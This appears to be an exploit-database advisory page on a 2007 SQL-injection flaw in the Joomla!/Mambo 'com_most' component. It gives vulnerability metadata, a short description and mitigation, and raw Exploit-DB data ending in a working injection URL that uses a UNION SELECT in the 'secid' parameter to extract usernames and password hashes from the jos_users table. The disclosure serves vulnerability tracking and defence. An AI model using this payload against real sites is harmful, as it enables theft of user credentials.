header-logo
Suggest Exploit
vendor:
Mambo
by:
SecurityFocus
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Mambo
Affected Version From: Joomla! and Mambo prior to 1.0.13
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: o:mambo:mambo
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2007

Joomla! and Mambo ‘com_most’ Component SQL Injection Vulnerability

The Joomla! and Mambo 'com_most' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server, which contains malicious SQL statements in the 'secid' parameter.

Mitigation:

Ensure that user-supplied data is properly sanitized before being used in an SQL query.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/27922/info

The Joomla! and Mambo 'com_most' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_most&mode=email&secid=-9999999/**/union/**/select/**/0000,concat(username,0x3a,password),2222,3333/**/from/**/jos_users/*

Navigation

Suggest Exploit

Services By CQR